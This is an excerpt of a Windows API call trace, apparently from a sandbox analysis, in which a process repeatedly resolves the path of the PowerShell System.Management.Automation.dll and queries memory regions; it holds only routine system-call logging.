	[0083.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.996] GetLastError () returned 0x0
	[0083.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.996] GetLastError () returned 0x0
	[0083.997] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x207b36cf, Data2=0x68cf, Data3=0x46b1, Data4=([0]=0xac, [1]=0x20, [2]=0xc, [3]=0x50, [4]=0x7f, [5]=0x6f, [6]=0x44, [7]=0x22))) returned 0x0
	[0083.997] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.997] GetLastError () returned 0x0
	[0083.997] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.997] GetLastError () returned 0x0
	[0083.997] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.997] GetLastError () returned 0x0
	[0083.997] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.997] GetLastError () returned 0x0
	[0083.997] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.997] GetLastError () returned 0x0
	[0083.997] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.997] GetLastError () returned 0x0
	[0083.997] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.997] GetLastError () returned 0x0
	[0083.997] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.997] GetLastError () returned 0x0
	[0083.997] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.997] GetLastError () returned 0x0
	[0083.998] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.998] GetLastError () returned 0x0
	[0083.998] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.998] GetLastError () returned 0x0
	[0083.998] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.998] GetLastError () returned 0x0
	[0083.998] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.998] GetLastError () returned 0x0
	[0083.998] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.998] GetLastError () returned 0x0
	[0083.998] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.998] GetLastError () returned 0x0
	[0083.998] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.998] GetLastError () returned 0x0
	[0083.998] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.998] GetLastError () returned 0x0
	[0083.999] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.999] GetLastError () returned 0x0
	[0083.999] VirtualQuery (in: lpAddress=0xed294, lpBuffer=0xee294, dwLength=0x1c | out: lpBuffer=0xee294*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.999] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.999] GetLastError () returned 0x0
	[0083.999] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.999] GetLastError () returned 0x0
	[0083.999] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.999] GetLastError () returned 0x0
	[0083.999] VirtualQuery (in: lpAddress=0xed294, lpBuffer=0xee294, dwLength=0x1c | out: lpBuffer=0xee294*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.999] VirtualQuery (in: lpAddress=0xed2d0, lpBuffer=0xee2d0, dwLength=0x1c | out: lpBuffer=0xee2d0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.000] GetLastError () returned 0x0
	[0084.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.000] GetLastError () returned 0x0
	[0084.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.000] GetLastError () returned 0x0
	[0084.000] VirtualQuery (in: lpAddress=0xed294, lpBuffer=0xee294, dwLength=0x1c | out: lpBuffer=0xee294*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.000] VirtualQuery (in: lpAddress=0xed2d0, lpBuffer=0xee2d0, dwLength=0x1c | out: lpBuffer=0xee2d0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.000] GetLastError () returned 0x0
	[0084.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.000] GetLastError () returned 0x0
	[0084.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.000] GetLastError () returned 0x0
	[0084.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.000] GetLastError () returned 0x0
	[0084.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.001] GetLastError () returned 0x0
	[0084.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.001] GetLastError () returned 0x0
	[0084.001] VirtualQuery (in: lpAddress=0xed294, lpBuffer=0xee294, dwLength=0x1c | out: lpBuffer=0xee294*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.001] VirtualQuery (in: lpAddress=0xed2d0, lpBuffer=0xee2d0, dwLength=0x1c | out: lpBuffer=0xee2d0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.001] GetLastError () returned 0x0
	[0084.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.001] GetLastError () returned 0x0
	[0084.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.001] GetLastError () returned 0x0
	[0084.002] VirtualQuery (in: lpAddress=0xed294, lpBuffer=0xee294, dwLength=0x1c | out: lpBuffer=0xee294*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.002] VirtualQuery (in: lpAddress=0xed2d0, lpBuffer=0xee2d0, dwLength=0x1c | out: lpBuffer=0xee2d0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.002] GetLastError () returned 0x0
	[0084.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.002] GetLastError () returned 0x0
	[0084.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.002] GetLastError () returned 0x0
	[0084.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.002] GetLastError () returned 0x0
	[0084.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.002] GetLastError () returned 0x0
	[0084.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.002] GetLastError () returned 0x0
	[0084.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.002] GetLastError () returned 0x0
	[0084.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.002] GetLastError () returned 0x0
	[0084.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.003] GetLastError () returned 0x0
	[0084.003] VirtualQuery (in: lpAddress=0xed294, lpBuffer=0xee294, dwLength=0x1c | out: lpBuffer=0xee294*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.003] VirtualQuery (in: lpAddress=0xed2d0, lpBuffer=0xee2d0, dwLength=0x1c | out: lpBuffer=0xee2d0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.003] GetLastError () returned 0x0
	[0084.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.003] GetLastError () returned 0x0
	[0084.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.003] GetLastError () returned 0x0
	[0084.003] VirtualQuery (in: lpAddress=0xed294, lpBuffer=0xee294, dwLength=0x1c | out: lpBuffer=0xee294*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.003] VirtualQuery (in: lpAddress=0xed2d0, lpBuffer=0xee2d0, dwLength=0x1c | out: lpBuffer=0xee2d0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.004] GetLastError () returned 0x0
	[0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.004] GetLastError () returned 0x0
	[0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.004] GetLastError () returned 0x0
	[0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.004] GetLastError () returned 0x0
	[0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.004] GetLastError () returned 0x0
	[0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.004] GetLastError () returned 0x0
